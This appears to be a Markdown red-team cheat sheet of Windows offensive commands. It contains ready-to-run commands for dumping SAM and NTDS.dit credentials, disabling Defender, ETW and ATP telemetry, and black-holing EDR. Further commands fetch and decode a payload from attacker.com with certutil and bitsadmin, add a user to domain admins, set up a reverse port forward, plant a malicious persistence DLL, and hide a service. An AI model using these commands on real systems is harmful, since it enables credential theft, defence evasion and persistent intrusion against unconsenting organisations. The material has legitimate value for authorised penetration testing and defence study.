106 lines
5.1 KiB
Markdown
106 lines
5.1 KiB
Markdown
- Find Domain Controller:
|
|
- `echo %LOGONSERVER%`
|
|
- `nslookup <domain.name>`
|
|
- Check for assigned DNS server from DHCP
|
|
- Packet capture - look for Kerberos/LDAP (ports 88, 389, 636)
|
|
- Harvest SAM:
|
|
- `reg.exe save hklm\sam c:\temp\sam.save`
|
|
- `reg.exe save hklm\security c:\temp\security.save`
|
|
- `reg.exe save hklm\system c:\temp\system.save`
|
|
- Download files (w/o PowerShell)
|
|
- `certutil.exe -urlcache -split -f "https://<url>/a.exe" a.exe`
|
|
- `bitsadmin /transfer cthulhujob /download /priority normal http://<url>/a.exe`
|
|
- Disable ETW
|
|
- `set COMPlus_ETWEnabled=0`
|
|
- Disable Windows Defender
|
|
- `sc config TrustedInstaller binPath= "cmd.exe /C sc stop windefend && sc delete windefend" && sc start TrustedInstaller`
|
|
- Block ATP communications
|
|
- `sc config TrustedInstaller binPath="cmd.exe /C sc stop diagtrack & sc config diagtrack binPath='lol'" && sc start TrustedInstaller`
|
|
- Encode and transfer/decode malicious file
|
|
- (On attacker machine) `certutil -encode beacon64.exe file.txt`
|
|
- (On target) `bitsadmin /Transfer myJob http://attacker.com/file.txt C:\windows\tasks\enc.txt && certutil -decode C:\windows\tasks\enc.txt C:\windows\tasks\cisa.exe && del C:\windows\tasks\enc.txt`
|
|
- Use Certutil to download exe
|
|
- `certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe`
|
|
- Add current user to domain admins
|
|
- `net group "domain admins" myusername /add /domain`
|
|
- Get user/domain SID:
|
|
- `whoami /user`
|
|
- Create service to run with credentials
|
|
- `sc.exe create MySvc2 binpath= c:\windows\system32\notepad.exe obj=CONTOSO.local\svcUser password=svc1234!`
|
|
- Create scheduled task to run with credentials
|
|
- `schtasks.exe /create /tn notepaddaily /tr notepad.exe /sc daily /ru CONTOSO\TaskUser /rp task1234!`
|
|
- NewCredentials logon
|
|
- `runas /netonly /user:CONTOSO\OtherUser cmd`
|
|
- Add/Delete firewall rule
|
|
- `netsh advfirewall firewall add rule name="Allow 4444" dir=in action=allow protocol=TCP localport=4444`
|
|
- `netsh advfirewall firewall delete rule name="Allow 4444" protocol=TCP localport=4444`
|
|
- LOL Extract NTDS.dit
|
|
- `vssadmin create shadow /for=C:`
|
|
- `copy <shadow copy volume name>\Windows\ntds\ntds.dit C:\Windows\Temp\ntds.dit`
|
|
- `reg SAVE HKLM\SYSTEM C:\Windows\Temp\SYS` OR `copy <shadow copy volume name>\Windows\System32\config\SYSTEM C:\Windows\Temp\SYS`
|
|
- `vssadmin delete shadows /shadow=<shadow ID>`
|
|
- Query AD SPNs
|
|
- `setspn -T <domain> -F -Q */*`
|
|
- Enumerate .NET version installed on a host
|
|
- `reg queryv x64 HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full Release`
|
|
- Cross-reference here: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies
|
|
- Reverse port forward
|
|
- Windows Firewall
|
|
- Start rpfwd
|
|
- `netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.14.55 connectport=4444 protocol=tcp` - start rpfwd
|
|
- Terminate rpfwd
|
|
- `netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444` - terminate rpfwd
|
|
- Extract NTDS.dit
|
|
```MSDOS
|
|
ntdsutil
|
|
activate instance ntds
|
|
ifm
|
|
create full C:\ntdsutil
|
|
quit
|
|
quit
|
|
```
|
|
|
|
- Manually set Kerberos realm (for use with Rubeus, etc. through Proxifier)
|
|
```
|
|
ksetup /setrealm VIPR.LAB
|
|
ksetup /addkdc VIPR.LAB dc01.vipr.lab
|
|
ksetup /setrealmflags VIPR.LAB tcpsupported
|
|
```
|
|
|
|
- Create Volume Shadow Copy and copy SAM file out
|
|
- `wmic shadowcopy call create Volume='C:\'`
|
|
- `vssadmin list shadows`
|
|
- Verify shadow file was created and check name
|
|
- `copy \\?\GLOBALROOT\Device\<SHADOW COPY NAME>\windows\system32\config\sam C:\users\User1\Downloads\sam`
|
|
- `copy \\?\GLOBALROOT\Device\<SHADOW COPY NAME>\windows\system32\config\sam C:\users\User1\Downloads\sam`
|
|
- Enumerate any domains trusted by our current domain
|
|
- `nltest /trusted_domains`
|
|
|
|
- Persistence through WptsExtensions.dll:
|
|
- `reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH`
|
|
- Query system path
|
|
- Place malicious "WptsExtensions.dll" anywhere in that path
|
|
- Executes on reboot
|
|
- Delete DLL to remove persistence
|
|
|
|
- DNS black hole on EDR endpoint
|
|
- Find API endpoint
|
|
- `ipconfig /displaydns`
|
|
- Black hole in hosts
|
|
- `echo 127.0.0.1 http://<API domain endpoint> >> c:\windows\system32\drivers\etc\hosts`
|
|
|
|
- Listing user bookmarks
|
|
- Chrome
|
|
- `type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`
|
|
- Edge
|
|
- `type "C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`
|
|
- Brave
|
|
- `type "C:\Users\%USERNAME%\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"`
|
|
|
|
- Hide a Windows service (effectively sets all ACLs to "Deny" so literally no user can read the service)
|
|
|
|
```PowerShell
|
|
sc sdset evilsvc "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
|
|
```
|
|
- TODO: remove the RP/WP for BA (local Admin) and SY (NT authority/SYSTEM) (too lazy to fix the SDDL string right now)
|
|
- Read the SDDL: ConvertFrom-SDDLString |